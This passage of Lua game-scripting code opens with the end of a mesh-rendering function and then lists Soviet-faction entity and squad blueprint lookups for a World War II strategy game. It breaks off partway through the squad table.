vert.pos ) mesh.Normal( vert.normal ) mesh.TexCoord( 0, vert.u, vert.v ) mesh.AdvanceVertex() if( j == self.StripCount * 2 ) then break end end mesh.End() end cam.PopModelMatrix() end end
EBP.SOVIET = { BARRACKS = BP_GetEntityBlueprint("barracks"), BARRACKS_MP = BP_GetEntityBlueprint("barracks_mp"), MOTORPOOL = BP_GetEntityBlueprint("motorpool"), MOTORPOOL_MP = BP_GetEntityBlueprint("motorpool_mp"), SOVIET_BASE_STAMPER = BP_GetEntityBlueprint("soviet_base_stamper"), TANK_DEPOT = BP_GetEntityBlueprint("tank_depot"), TANK_DEPOT_MP = BP_GetEntityBlueprint("tank_depot_mp"), WEAPON_SUPPORT_CENTER = BP_GetEntityBlueprint("weapon_support_center"), WEAPON_SUPPORT_CENTER_MP = BP_GetEntityBlueprint("weapon_support_center_mp"), HQ = BP_GetEntityBlueprint("hq"), HQ_INVISIBLE_SP = BP_GetEntityBlueprint("hq_invisible_sp"), HQ_MP = BP_GetEntityBlueprint("hq_mp"), HQ_NO_WRECK = BP_GetEntityBlueprint("hq_no_wreck"), HQ_WRECK = BP_GetEntityBlueprint("hq_wreck"), HQ_WRECK_MP = BP_GetEntityBlueprint("hq_wreck_mp"), ANTI_PERSONNEL_MINES = BP_GetEntityBlueprint("anti_personnel_mines"), BARBED_WIRE_FENCE = BP_GetEntityBlueprint("barbed_wire_fence"), BARBED_WIRE_FENCE_CMD_MP = BP_GetEntityBlueprint("barbed_wire_fence_cmd_mp"), BARBED_WIRE_FENCE_CMD__CONSTRUCTION__MP = BP_GetEntityBlueprint("barbed_wire_fence_cmd__construction__mp"), BARBED_WIRE_FENCE_MP = BP_GetEntityBlueprint("barbed_wire_fence_mp"), BARBED_WIRE_FENCE__CONSTRUCTION__MP = BP_GetEntityBlueprint("barbed_wire_fence__construction__mp"), BARBED_WIRE_FIELD = BP_GetEntityBlueprint("barbed_wire_field"), BARBED_WIRE_FIELD_MP = BP_GetEntityBlueprint("barbed_wire_field_mp"), FLARE_FIRE_MP = BP_GetEntityBlueprint("flare_fire_mp"), FLARE_MINE = BP_GetEntityBlueprint("flare_mine"), FLARE_MINE_MP = BP_GetEntityBlueprint("flare_mine_mp"), LIGHT_ANTI_VEHICLE_MINES = BP_GetEntityBlueprint("light_anti_vehicle_mines"), MACHINE_GUN_NEST = BP_GetEntityBlueprint("machine_gun_nest"), MACHINE_GUN_NEST_MP = BP_GetEntityBlueprint("machine_gun_nest_mp"), REPAIR_STATION_MP = BP_GetEntityBlueprint("repair_station_mp"), SAND_BAG_SOVIET = BP_GetEntityBlueprint("sand_bag_soviet"), SAND_BAG_SOVIET_MP = BP_GetEntityBlueprint("sand_bag_soviet_mp"), SAND_BAG_SOVIET_TUTORIAL = BP_GetEntityBlueprint("sand_bag_soviet_tutorial"), SAND_BAG_SOVIET__CONSTRUCTION__MP = BP_GetEntityBlueprint("sand_bag_soviet__construction__mp"), SOVIET_FHQ_SUPPLY_PROPS_MP = BP_GetEntityBlueprint("soviet_fhq_supply_props_mp"), SOVIET_FORWARD_HQ_URBAN_DEFENSE_MP = BP_GetEntityBlueprint("soviet_forward_hq_urban_defense_mp"), SOVIET_MINE = BP_GetEntityBlueprint("soviet_mine"), SOVIET_MINE_MP = BP_GetEntityBlueprint("soviet_mine_mp"), SOVIET_MINE_TOW = BP_GetEntityBlueprint("soviet_mine_tow"), SOVIET_RALLY_POINT_AIRBOURNE_MP = BP_GetEntityBlueprint("soviet_rally_point_airbourne_mp"), TANKTRAP = BP_GetEntityBlueprint("tanktrap"), WIRE_FIELD = BP_GetEntityBlueprint("wire_field"), WIRE_FIELD_MP = BP_GetEntityBlueprint("wire_field_mp"), OBSERVATION_POST_FUEL = BP_GetEntityBlueprint("observation_post_fuel"), OBSERVATION_POST_FUEL_MP = BP_GetEntityBlueprint("observation_post_fuel_mp"), OBSERVATION_POST_MUNITION = BP_GetEntityBlueprint("observation_post_munition"), OBSERVATION_POST_MUNITION_MP = BP_GetEntityBlueprint("observation_post_munition_mp"), GLOA_BUSH_L_03_SUMMER = BP_GetEntityBlueprint("gloa_bush_l_03_summer"), GLOA_BUSH_ROW_03_SNOW = BP_GetEntityBlueprint("gloa_bush_row_03_snow"), GLOA_BUSH_ROW_03_SUMMER = BP_GetEntityBlueprint("gloa_bush_row_03_summer"), GLO_BUSH_L_03_SUMMER = BP_GetEntityBlueprint("glo_bush_l_03_summer"), GLO_BUSH_ROW_03_SNOW = BP_GetEntityBlueprint("glo_bush_row_03_snow"), GLO_BUSH_ROW_03_SUMMER = BP_GetEntityBlueprint("glo_bush_row_03_summer"), GLOA_GENERIC_05 = BP_GetEntityBlueprint("gloa_generic_05"), GLOA_GENERIC_06 = BP_GetEntityBlueprint("gloa_generic_06"), GLOA_GENERIC_07 = BP_GetEntityBlueprint("gloa_generic_07"), GLOA_ORCHARD_S_ARDENNES_01_FALL_SNOW = BP_GetEntityBlueprint("gloa_orchard_s_ardennes_01_fall_snow"), GLOA_PINE_L_03_WINTER = BP_GetEntityBlueprint("gloa_pine_l_03_winter"), GLOA_PINE_L_ARDENNES_01_WINTER = BP_GetEntityBlueprint("gloa_pine_l_ardennes_01_winter"), GLOA_PINE_L_ARDENNES_02_WINTER = BP_GetEntityBlueprint("gloa_pine_l_ardennes_02_winter"), GLOA_PINE_L_ARDENNES_06_WINTER = BP_GetEntityBlueprint("gloa_pine_l_ardennes_06_winter"), GLOA_PINE_S_RUSSIA_01_WINTER = BP_GetEntityBlueprint("gloa_pine_s_russia_01_winter"), GLOA_PINE_S_RUSSIA_02_WINTER = BP_GetEntityBlueprint("gloa_pine_s_russia_02_winter"), GLO_GENERIC_05 = BP_GetEntityBlueprint("glo_generic_05"), GLO_GENERIC_06 = BP_GetEntityBlueprint("glo_generic_06"), GLO_GENERIC_07 = BP_GetEntityBlueprint("glo_generic_07"), GLO_ORCHARD_S_ARDENNES_01_FALL_SNOW = BP_GetEntityBlueprint("glo_orchard_s_ardennes_01_fall_snow"), GLO_PINE_L_03_WINTER = BP_GetEntityBlueprint("glo_pine_l_03_winter"), GLO_PINE_L_ARDENNES_01_WINTER = BP_GetEntityBlueprint("glo_pine_l_ardennes_01_winter"), GLO_PINE_L_ARDENNES_02_WINTER = BP_GetEntityBlueprint("glo_pine_l_ardennes_02_winter"), GLO_PINE_L_ARDENNES_06_WINTER = BP_GetEntityBlueprint("glo_pine_l_ardennes_06_winter"), GLO_PINE_S_RUSSIA_01_WINTER = BP_GetEntityBlueprint("glo_pine_s_russia_01_winter"), GLO_PINE_S_RUSSIA_02_WINTER = BP_GetEntityBlueprint("glo_pine_s_russia_02_winter"), BOAT_01_ENTITY = BP_GetEntityBlueprint("boat_01_entity"), SNIPER_ATK_TARGET = BP_GetEntityBlueprint("sniper_atk_target"), SOVIET_MINE_SP = BP_GetEntityBlueprint("soviet_mine_sp"), STEAM_TRAIN = BP_GetEntityBlueprint("steam_train"), M01_IL_2_STURMOVIK_ROCKET = BP_GetEntityBlueprint("m01_il-2_sturmovik_rocket"), M01_IL2_DOGFIGHT = BP_GetEntityBlueprint("m01_il2_dogfight"), M01_MEDIC = BP_GetEntityBlueprint("m01_medic"), HQ_WRECK_M06 = BP_GetEntityBlueprint("hq_wreck_m06"), FORWARD_HQ = BP_GetEntityBlueprint("forward_hq"), M08_TANK_BUSTER_CONSCRIPT = BP_GetEntityBlueprint("m08_tank_buster_conscript"), SOVIET_MINE_M08 = BP_GetEntityBlueprint("soviet_mine_m08"), ISAKOVICH_A01_COMMANDER = BP_GetEntityBlueprint("isakovich_a01_commander"), ISAKOVICH_M06 = BP_GetEntityBlueprint("isakovich_m06"), M01_BASE_CONSCRIPT_SOLDIER = BP_GetEntityBlueprint("m01_base_conscript_soldier"), M01_BASE_CONSCRIPT_SOLDIER_DURABLE = BP_GetEntityBlueprint("m01_base_conscript_soldier_durable"), M01_CONSCRIPT_SOLDIER = BP_GetEntityBlueprint("m01_conscript_soldier"), M01_CONSCRIPT_SOLDIER_DOCK = BP_GetEntityBlueprint("m01_conscript_soldier_dock"), M01_CONSCRIPT_SOLDIER_HARMLESS = BP_GetEntityBlueprint("m01_conscript_soldier_harmless"), M01_CONSCRIPT_SOLDIER_HARMLESS_DURABLE = BP_GetEntityBlueprint("m01_conscript_soldier_harmless_durable"), M11_ANIA_SNIPER = BP_GetEntityBlueprint("m11_ania_sniper"), M11_ISAKOVICH_RECON = BP_GetEntityBlueprint("m11_isakovich_recon"), M11_SNIPER = BP_GetEntityBlueprint("m11_sniper"), M11_SNIPER_RECON = BP_GetEntityBlueprint("m11_sniper_recon"), TOW_COLD_WEAETHER_GUARD_TROOPS = BP_GetEntityBlueprint("tow_cold_weaether_guard_troops"), M11_PARTISAN_TROOP_KAR98K = BP_GetEntityBlueprint("m11_partisan_troop_kar98k"), M11_PARTISAN_TROOP_NAGANT = BP_GetEntityBlueprint("m11_partisan_troop_nagant"), M11_PARTISAN_TROOP_NOWEAPON = BP_GetEntityBlueprint("m11_partisan_troop_noweapon"), M08_T_34_76_SMALLPATH = BP_GetEntityBlueprint("m08_t_34_76_smallpath"), COMBAT_ENGINEER = BP_GetEntityBlueprint("combat_engineer"), COMBAT_ENGINEER_MP = BP_GetEntityBlueprint("combat_engineer_mp"), REPAIR_ENGINEER = BP_GetEntityBlueprint("repair_engineer"), REPAIR_ENGINEER_MP = BP_GetEntityBlueprint("repair_engineer_mp"), GUARD_TROOPS = BP_GetEntityBlueprint("guard_troops"), GUARD_TROOPS_AIRBOURNE_MP = BP_GetEntityBlueprint("guard_troops_airbourne_mp"), GUARD_TROOPS_ASSAULT_MP = BP_GetEntityBlueprint("guard_troops_assault_mp"), GUARD_TROOPS_MP = BP_GetEntityBlueprint("guard_troops_mp"), PENAL_BATTALION_TROOPS = BP_GetEntityBlueprint("penal_battalion_troops"), PENAL_BATTALION_TROOPS_MP = BP_GetEntityBlueprint("penal_battalion_troops_mp"), SHOCK_TROOPS = BP_GetEntityBlueprint("shock_troops"), SHOCK_TROOPS_MP = BP_GetEntityBlueprint("shock_troops_mp"), COMMISSAR = BP_GetEntityBlueprint("commissar"), COMMISSAR_227 = BP_GetEntityBlueprint("commissar_227"), COMMISSAR_MP = BP_GetEntityBlueprint("commissar_mp"), COMMISSAR_OF_DEATH_227_MP = BP_GetEntityBlueprint("commissar_of_death_227_mp"), COMMISSAR_GUARD_TROOPS_MP = BP_GetEntityBlueprint("commissar_guard_troops_mp"), COMMISSAR_MEDIC_MP = BP_GetEntityBlueprint("commissar_medic_mp"), COMMISSAR_OFFICER_MP = BP_GetEntityBlueprint("commissar_officer_mp"), BASE_CONSCRIPT_SOLDIER = BP_GetEntityBlueprint("base_conscript_soldier"), BASE_CONSCRIPT_SOLDIER_MP = BP_GetEntityBlueprint("base_conscript_soldier_mp"), CONSCRIPT_SOLDIER = BP_GetEntityBlueprint("conscript_soldier"), CONSCRIPT_SOLDIER_CONSCRIPT_BODYGUARD_MP = BP_GetEntityBlueprint("conscript_soldier_conscript_bodyguard_mp"), CONSCRIPT_SOLDIER_MP = BP_GetEntityBlueprint("conscript_soldier_mp"), CONSCRIPT_SOLDIER_SEARGENT_MP = BP_GetEntityBlueprint("conscript_soldier_seargent_mp"), MEDIC = BP_GetEntityBlueprint("medic"), MEDIC_MP = BP_GetEntityBlueprint("medic_mp"), PARTISAN_TROOPS_ANTITANK = BP_GetEntityBlueprint("partisan_troops_antitank"), PARTISAN_TROOPS_LMG = BP_GetEntityBlueprint("partisan_troops_lmg"), PARTISAN_TROOPS_RIFLE = BP_GetEntityBlueprint("partisan_troops_rifle"), PARTISAN_TROOPS_SMG = BP_GetEntityBlueprint("partisan_troops_smg"), PARTISAN_SNIPER = BP_GetEntityBlueprint("partisan_sniper"), PARTISAN_TROOP_KAR98K = BP_GetEntityBlueprint("partisan_troop_kar98k"), PARTISAN_TROOP_KAR98K_2 = BP_GetEntityBlueprint("partisan_troop_kar98k_2"), PARTISAN_TROOP_KAR98K_2_MP = BP_GetEntityBlueprint("partisan_troop_kar98k_2_mp"), PARTISAN_TROOP_KAR98K_MP = BP_GetEntityBlueprint("partisan_troop_kar98k_mp"), PARTISAN_TROOP_KAR98K_TOW_BD = BP_GetEntityBlueprint("partisan_troop_kar98k_tow_bd"), PARTISAN_TROOP_KAR98K_TOW_MP = BP_GetEntityBlueprint("partisan_troop_kar98k_tow_mp"), PARTISAN_TROOP_NAGANT = BP_GetEntityBlueprint("partisan_troop_nagant"), PARTISAN_TROOP_NAGANT_MP = BP_GetEntityBlueprint("partisan_troop_nagant_mp"), PARTISAN_TROOP_NAGANT_TOW_MP = BP_GetEntityBlueprint("partisan_troop_nagant_tow_mp"), REFUGEE_FEMALE = BP_GetEntityBlueprint("refugee_female"), REFUGEE_FEMALE_MP = BP_GetEntityBlueprint("refugee_female_mp"), REFUGEE_MALE = BP_GetEntityBlueprint("refugee_male"), REFUGEE_MALE_MP = BP_GetEntityBlueprint("refugee_male_mp"), SNIPER = BP_GetEntityBlueprint("sniper"), SNIPER_MP = BP_GetEntityBlueprint("sniper_mp"), SNIPER_RECON = BP_GetEntityBlueprint("sniper_recon"), SNIPER_RECON_MP = BP_GetEntityBlueprint("sniper_recon_mp"), SOVIET_OFFICER = BP_GetEntityBlueprint("soviet_officer"), SOVIET_OFFICER_MP = BP_GetEntityBlueprint("soviet_officer_mp"), ATGUN53K_CREW = BP_GetEntityBlueprint("atgun53k_crew"), ATGUN53K_CREW_MP = BP_GetEntityBlueprint("atgun53k_crew_mp"), ATGUNZIS_CREW = BP_GetEntityBlueprint("atgunzis_crew"), ATGUNZIS_CREW_MP = BP_GetEntityBlueprint("atgunzis_crew_mp"), DSHK_WEAPON_CREW = BP_GetEntityBlueprint("dshk_weapon_crew"), DSHK_WEAPON_CREW_MP = BP_GetEntityBlueprint("dshk_weapon_crew_mp"), HOWITZER_CREW203__SOVIET_MP = BP_GetEntityBlueprint("howitzer_crew203__soviet_mp"), HOWITZER_CREW_SOVIET = BP_GetEntityBlueprint("howitzer_crew_soviet"), HOWITZER_CREW_SOVIET_MP = BP_GetEntityBlueprint("howitzer_crew_soviet_mp"), MAXIM_WEAPON_CREW = BP_GetEntityBlueprint("maxim_weapon_crew"), MAXIM_WEAPON_CREW_MP = BP_GetEntityBlueprint("maxim_weapon_crew_mp"), MORTAR_120MM_WEAPON_CREW_MP = BP_GetEntityBlueprint("mortar_120mm_weapon_crew_mp"), MORTAR_WEAPON_CREW = BP_GetEntityBlueprint("mortar_weapon_crew"), MORTAR_WEAPON_CREW_MP = BP_GetEntityBlueprint("mortar_weapon_crew_mp"), _CIVILIAN_FEMALE = BP_GetEntityBlueprint("_civilian_female"), _CIVILIAN_FEMALE_MP = BP_GetEntityBlueprint("_civilian_female_mp"), _CIVILIAN_MALE = BP_GetEntityBlueprint("_civilian_male"), _CIVILIAN_MALE_MP = BP_GetEntityBlueprint("_civilian_male_mp"), DHSK_38_MACHINE_GUN = BP_GetEntityBlueprint("dhsk_38_machine_gun"), DHSK_38_MACHINE_GUN_MP = BP_GetEntityBlueprint("dhsk_38_machine_gun_mp"), HM_120_38_MORTAR = BP_GetEntityBlueprint("hm-120_38_mortar"), HM_120_38_MORTAR_MP = BP_GetEntityBlueprint("hm-120_38_mortar_mp"), M1910_MAXIM_HEAVY_MACHINE_GUN = BP_GetEntityBlueprint("m1910_maxim_heavy_machine_gun"), M1910_MAXIM_HEAVY_MACHINE_GUN_MP = BP_GetEntityBlueprint("m1910_maxim_heavy_machine_gun_mp"), PM41_82MM_MORTAR = BP_GetEntityBlueprint("pm41_82mm_mortar"), PM41_82MM_MORTAR_MP = BP_GetEntityBlueprint("pm41_82mm_mortar_mp"), M1937_53_K_45MM_AT_GUN = BP_GetEntityBlueprint("m1937_53-k_45mm_at_gun"), M1937_53_K_45MM_AT_GUN_MP = BP_GetEntityBlueprint("m1937_53-k_45mm_at_gun_mp"), M1942_76MM_DIVISIONAL_GUN_ZIS_3 = BP_GetEntityBlueprint("m1942_76mm_divisional_gun_zis-3"), M1942_76MM_DIVISIONAL_GUN_ZIS_3_MP = BP_GetEntityBlueprint("m1942_76mm_divisional_gun_zis-3_mp"), ARTILLERY_203MM_B4 = BP_GetEntityBlueprint("artillery_203mm_b4"), M1931_203MM_B_4_HOWITZER_ARTILLERY = BP_GetEntityBlueprint("m1931_203mm_b-4_howitzer_artillery"), M1931_203MM_B_4_HOWITZER_ARTILLERY_COMMANDER_MP = BP_GetEntityBlueprint("m1931_203mm_b-4_howitzer_artillery_commander_mp"), M1931_203MM_B_4_HOWITZER_ARTILLERY_MP = BP_GetEntityBlueprint("m1931_203mm_b-4_howitzer_artillery_mp"), M1937_152MM_ML_20_ARTILLERY = BP_GetEntityBlueprint("m1937_152mm_ml_20_artillery"), M1937_152MM_ML_20_ARTILLERY_MP = BP_GetEntityBlueprint("m1937_152mm_ml_20_artillery_mp"), CARGO_PLANE_MEDICAL = BP_GetEntityBlueprint("cargo_plane_medical"), IL_2_STURMOVIK = BP_GetEntityBlueprint("il-2_sturmovik"), IL_2_STURMOVIK_ADVANCED_MP = BP_GetEntityBlueprint("il-2_sturmovik_advanced_mp"), IL_2_STURMOVIK_ANTI_TANK_BOMB_MP = BP_GetEntityBlueprint("il-2_sturmovik_anti_tank_bomb_mp"), IL_2_STURMOVIK_MARK_VEHICLE_MP = BP_GetEntityBlueprint("il-2_sturmovik_mark_vehicle_mp"), IL_2_STURMOVIK_MP = BP_GetEntityBlueprint("il-2_sturmovik_mp"), IL_2_STURMOVIK_RECON = BP_GetEntityBlueprint("il-2_sturmovik_recon"), IL_2_STURMOVIK_RECON_MP = BP_GetEntityBlueprint("il-2_sturmovik_recon_mp"), IL_2_STURMOVIK_ROCKET = BP_GetEntityBlueprint("il-2_sturmovik_rocket"), IL_2_STURMOVIK_ROCKET_MP = BP_GetEntityBlueprint("il-2_sturmovik_rocket_mp"), IL_2_STURMOVIK_ROCKET_SP = BP_GetEntityBlueprint("il-2_sturmovik_rocket_sp"), IL_2_STURMOVIK_ROCKET_STRAFE_MP = BP_GetEntityBlueprint("il-2_sturmovik_rocket_strafe_mp"), IL_2_STURMOVIK_STRAFING_RUN_MP = BP_GetEntityBlueprint("il-2_sturmovik_strafing_run_mp"), IL_2_STURMOVIK_VICTORY_MP = BP_GetEntityBlueprint("il-2_sturmovik_victory_mp"), IS_2_HEAVY_TANK = BP_GetEntityBlueprint("is-2_heavy_tank"), IS_2_HEAVY_TANK_MP = BP_GetEntityBlueprint("is-2_heavy_tank_mp"), ISU_152_SPG = BP_GetEntityBlueprint("isu_152_spg"), ISU_152_SPG_MP = BP_GetEntityBlueprint("isu_152_spg_mp"), KATYUSHA_BM_13N = BP_GetEntityBlueprint("katyusha_bm-13n"), KATYUSHA_BM_13N_MP = BP_GetEntityBlueprint("katyusha_bm-13n_mp"), KV_1 = BP_GetEntityBlueprint("kv-1"), KV_1_COMMANDER_MP = BP_GetEntityBlueprint("kv-1_commander_mp"), KV_1_MP = BP_GetEntityBlueprint("kv-1_mp"), KV_2 = BP_GetEntityBlueprint("kv-2"), KV_2_MP = BP_GetEntityBlueprint("kv-2_mp"), KV_2_TOW = BP_GetEntityBlueprint("kv-2_tow"), KV_8 = BP_GetEntityBlueprint("kv-8"), KV_8_MP = BP_GetEntityBlueprint("kv-8_mp"), M3A1_SCOUT_CAR = BP_GetEntityBlueprint("m3a1_scout_car"), M3A1_SCOUT_CAR_MP = BP_GetEntityBlueprint("m3a1_scout_car_mp"), M5_HALFTRACK = BP_GetEntityBlueprint("m5_halftrack"), M5_HALFTRACK_ASSAULT_MP = BP_GetEntityBlueprint("m5_halftrack_assault_mp"), M5_HALFTRACK_MP = BP_GetEntityBlueprint("m5_halftrack_mp"), AIRBOURNE_PLANE_PARAS = BP_GetEntityBlueprint("airbourne_plane_paras"), DSHK_PLANE_HMG = BP_GetEntityBlueprint("dshk_plane_hmg"), WEAPON_DROP_PLANE_SVT = BP_GetEntityBlueprint("weapon_drop_plane_svt"), CARGO_PLANE_SOVIET = BP_GetEntityBlueprint("cargo_plane_soviet"), SOVIET_ALLIED_CARGO_PLANE = BP_GetEntityBlueprint("soviet_allied_cargo_plane"), SHERMAN_SOVIET = BP_GetEntityBlueprint("sherman_soviet"), SU_76M = BP_GetEntityBlueprint("su_76m"), SU_76M_MP = BP_GetEntityBlueprint("su_76m_mp"), SU_85 = BP_GetEntityBlueprint("su_85"), SU_85_MP = BP_GetEntityBlueprint("su_85_mp"), T_34_76 = BP_GetEntityBlueprint("t_34_76"), T_34_76_MP = BP_GetEntityBlueprint("t_34_76_mp"), T_34_85 = BP_GetEntityBlueprint("t_34_85"), T_34_85_MP = BP_GetEntityBlueprint("t_34_85_mp"), T_70M = BP_GetEntityBlueprint("t_70m"), T_70M_MP = BP_GetEntityBlueprint("t_70m_mp"), US6_TRUCK = BP_GetEntityBlueprint("us6_truck"), US6_TRUCK_MP = BP_GetEntityBlueprint("us6_truck_mp"), ZIS_6_TRANSPORT = BP_GetEntityBlueprint("zis_6_transport"), ZIS_6_TRANSPORT_MP = BP_GetEntityBlueprint("zis_6_transport_mp"), } SBP.SOVIET = { BOAT_01 = BP_GetSquadBlueprint("boat_01"), STEAM_TRAIN = BP_GetSquadBlueprint("steam_train"), M01_CONSCRIPT_SQUAD_DOCKS = BP_GetSquadBlueprint("m01_conscript_squad_docks"), M01_CONSCRIPT_SQUAD_HARMLESS = BP_GetSquadBlueprint("m01_conscript_squad_harmless"), M01_CONSCRIPT_SQUAD_HARMLESS_DURABLE = BP_GetSquadBlueprint("m01_conscript_squad_harmless_durable"), M01_CONSCRIPT_SQUAD_WOUNDED = BP_GetSquadBlueprint("m01_conscript_squad_wounded"), M01_IL_2_STURMOVIK_ROCKET_SQUAD = BP_GetSquadBlueprint("m01_il-2_sturmovik_rocket_squad"), M01_IL2_DOGFIGHT = BP_GetSquadBlueprint("m01_il2_dogfight"), M01_MEDIC = BP_GetSquadBlueprint("m01_medic"), M02_COMBAT_ENGINEER_SQUAD = BP_GetSquadBlueprint("m02_combat_engineer_squad"), M02_REFUGEE_SQUAD = BP_GetSquadBlueprint("m02_refugee_squad"), M08_COMBAT_ENGINEER_SQUAD = BP_GetSquadBlueprint("m08_combat_engineer_squad"), M08_TANK_BUSTER_CONSCRIPT_SQUAD = BP_GetSquadBlueprint("m08_tank_buster_conscript_squad"), GUARDS_TROOPS_M08 = BP_GetSquadBlueprint("guards_troops_m08"), M11_ANIA_SNIPER_SQUAD = BP_GetSquadBlueprint("m11_ania_sniper_squad"), M11_ISAKOVICH_SQUAD = BP_GetSquadBlueprint("m11_isakovich_squad"), M11_SNIPER_TEAM = BP_GetSquadBlueprint("m11_sniper_team"), SHOCK_TROOPS_M11 = BP_GetSquadBlueprint("shock_troops_m11"), TOW_COLD_WEATHER_GUARDS_TROOPS = BP_GetSquadBlueprint("tow_cold_weather_guards_troops"), M11_PARTISAN_SQUAD_KAR98K_RIFLE = BP_GetSquadBlueprint("m11_partisan_squad_kar98k_rifle"), M11_PARTISAN_SQUAD_NAGANT_RIFLE = BP_GetSquadBlueprint("m11_partisan_squad_nagant_rifle"), M11_PARTISAN_SQUAD_NOWEAPON = BP_GetSquadBlueprint("m11_partisan_squad_noweapon"), M08_T_34_76_SQUAD_SMALLPATH = BP_GetSquadBlueprint("m08_t_34_76_squad_smallpath"), US6_TRUCK_SQUAD = BP_GetSquadBlueprint("us6_truck_squad"), COMBAT_ENGINEER_SQUAD = BP_GetSquadBlueprint("combat_engineer_squad"), COMBAT_ENGINEER_SQUAD_MP = BP_GetSquadBlueprint("combat_engineer_squad_mp"), BASE_CONSCRIPT_SQUAD = BP_GetSquadBlueprint("base_conscript_squad"), BASE_CONSCRIPT_SQUAD_MP = BP_GetSquadBlueprint("base_conscript_squad_mp"), CONSCRIPT_SQUAD = BP_GetSquadBlueprint("conscript_squad"), CONSCRIPT_SQUAD_MP = BP_GetSquadBlueprint("conscript_squad_mp"), CONSCRIPT_SQUAD_TUTORIAL = BP_GetSquadBlueprint("conscript_squad_tutorial"), DSHK_38_HMG_SQUAD = BP_GetSquadBlueprint("dshk_38_hmg_squad"), DSHK_38_HMG_SQUAD_MP = BP_GetSquadBlueprint("dshk_38_hmg_squad_mp"), M1910_MAXIM_HEAVY_MACHINE_GUN_SQUAD = BP_GetSquadBlueprint("m1910_maxim_heavy_machine_gun_squad"), M1910_MAXIM_HEAVY_MACHINE_GUN_SQUAD_MP = BP_GetSquadBlueprint("m1910_maxim_heavy_machine_gun_squad_mp"), HM_120_38_MORTAR_SQUAD = BP_GetSquadBlueprint("hm-120_38_mortar_squad"), HM_120_38_MORTAR_SQUAD_MP = BP_GetSquadBlueprint("hm-120_38_mortar_squad_mp"), PM_82_41_MORTAR_SQUAD = BP_GetSquadBlueprint("pm-82_41_mortar_squad"), PM_82_41_MORTAR_SQUAD_MP = BP_GetSquadBlueprint("pm-82_41_mortar_squad_mp"), PARTISANS_LMG_MP = BP_GetSquadBlueprint("partisans_lmg_mp"), PARTISANS_PANZERSCHRECK_MP = BP_GetSquadBlueprint("partisans_panzerschreck_mp"), PARTISANS_PTRS_MP = BP_GetSquadBlueprint("partisans_ptrs_mp"), PARTISANS_RIFLE_MP = BP_GetSquadBlueprint("partisans_rifle_mp"), PARTISANS_SMG_MP = BP_GetSquadBlueprint("partisans_smg_mp"), PARTISAN_SQUAD_GRANATEWERFER_34_81MM_MORTAR = BP_GetSquadBlueprint("partisan_squad_granatewerfer_34_81mm_mortar"), PARTISAN_SQUAD_GRANATEWERFER_34_81MM_MORTAR_MP = BP_GetSquadBlueprint("partisan_squad_granatewerfer_34_81mm_mortar_mp"), PARTISAN_SQUAD_KAR98K_RIFLE = BP_GetSquadBlueprint("partisan_squad_kar98k_rifle"), PARTISAN_SQUAD_KAR98K_RIFLE_MP = BP_GetSquadBlueprint("partisan_squad_kar98k_rifle_mp"), PARTISAN_SQUAD_MAXIM_HMG = BP_GetSquadBlueprint("partisan_squad_maxim_hmg"), PARTISAN_SQUAD_MAXIM_HMG_MP = BP_GetSquadBlueprint("partisan_squad_maxim_hmg_mp"), PARTISAN_SQUAD_MG42_HMG = BP_GetSquadBlueprint("partisan_squad_mg42_hmg"), PARTISAN_SQUAD_MG42_HMG_MP = BP_GetSquadBlueprint("partisan_squad_mg42_hmg_mp"), PARTISAN_SQUAD_NAGANT_RIFLE = BP_GetSquadBlueprint("partisan_squad_nagant_rifle"), PARTISAN_SQUAD_NAGANT_RIFLE_MP = BP_GetSquadBlueprint("partisan_squad_nagant_rifle_mp"), PARTISAN_SQUAD_PM_82_41_MORTAR = BP_GetSquadBlueprint("partisan_squad_pm-82_41_mortar"), PARTISAN_SQUAD_PM_82_41_MORTAR_MP = BP_GetSquadBlueprint("partisan_squad_pm-82_41_mortar_mp"), TOW_BRIDGE_PARTISAN_SQUAD_AT = BP_GetSquadBlueprint("tow_bridge_partisan_squad_at"), TOW_BRIDGE_PARTISAN_SQUAD_BASE = BP_GetSquadBlueprint("tow_bridge_partisan_squad_base"), TOW_BRIDGE_PARTISAN_SQUAD_MAXIM = BP_GetSquadBlueprint("tow_bridge_partisan_squad_maxim"), TOW_BRIDGE_PARTISAN_SQUAD_MORTAR = BP_GetSquadBlueprint("tow_bridge_partisan_squad_mortar"), TOW_PARTISAN_SQUAD_KAR98K_RIFLE_MP = BP_GetSquadBlueprint("tow_partisan_squad_kar98k_rifle_mp"), TOW_PARTISAN_SQUAD_LMG_SQUAD = BP_GetSquadBlueprint("tow_partisan_squad_lmg_squad"), TOW_PARTISAN_SQUAD_MAXIM_HMG_MP = BP_GetSquadBlueprint("tow_partisan_squad_maxim_hmg_mp"), SNIPER_TEAM = BP_GetSquadBlueprint("sniper_team"), SNIPER_TEAM_MALE = BP_GetSquadBlueprint("sniper_team_male"), SNIPER_TEAM_MP = BP_GetSquadBlueprint("sniper_team_mp"), COMMISSAR_227 = BP_GetSquadBlueprint("commissar_227"), COMMISSAR_COMMANDER_SQUAD_MP = BP_GetSquadBlueprint("commissar_commander_squad_mp"), COMMISSAR_SQUAD_BATTLE = BP_GetSquadBlueprint("commissar_squad_battle"), COMMISSAR_SQUAD_MP = BP_GetSquadBlueprint("commissar_squad_mp"), COMMISSAR_SQUAD_TOW = BP_GetSquadBlueprint("commissar_squad_tow"), SOVIET_OFFICER_SQUAD = BP_GetSquadBlueprint("soviet_officer_squad"), SOVIET_OFFICER_SQUAD_MP = BP_GetSquadBlueprint("soviet_officer_squad_mp"), GUARDS_AIRBOURNE_MP = BP_GetSquadBlueprint("guards_airbourne_mp"), GUARDS_TROOPS = BP_GetSquadBlueprint("guards_troops"), GUARDS_TROOPS_ASSAULT_MP = BP_GetSquadBlueprint("guards_troops_assault_mp"), GUARDS_TROOPS_MP = BP_GetSquadBlueprint("guards_troops_mp"), PENAL_BATTALION = BP_GetSquadBlueprint("penal_battalion"), PENAL_BATTALION_MP = BP_GetSquadBlueprint("penal_battalion_mp"), SHOCK_TROOPS = BP_GetSquadBlueprint("shock_troops"), SHOCK_TROOPS_MP = BP_GetSquadBlueprint("shock_troops_mp"), CARGO_PLANE_AIRBOURNE = BP_GetSquadBlueprint("cargo_plane_airbourne"), IL_2_STUMOVIK_SQUAD = BP_GetSquadBlueprint("il-2_stumovik_squad"), IL_2_STUMOVIK_SQUAD_ADVANCED_MP = BP_GetSquadBlueprint("il-2_stumovik_squad_advanced_mp"), IL_2_STUMOVIK_SQUAD_MP = BP_GetSquadBlueprint("il-2_stumovik_squad_mp"), IL_2_STUMOVIK_SQUAD_ROCKET_STRAFE_MP = BP_GetSquadBlueprint("il-2_stumovik_squad_rocket_strafe_mp"), 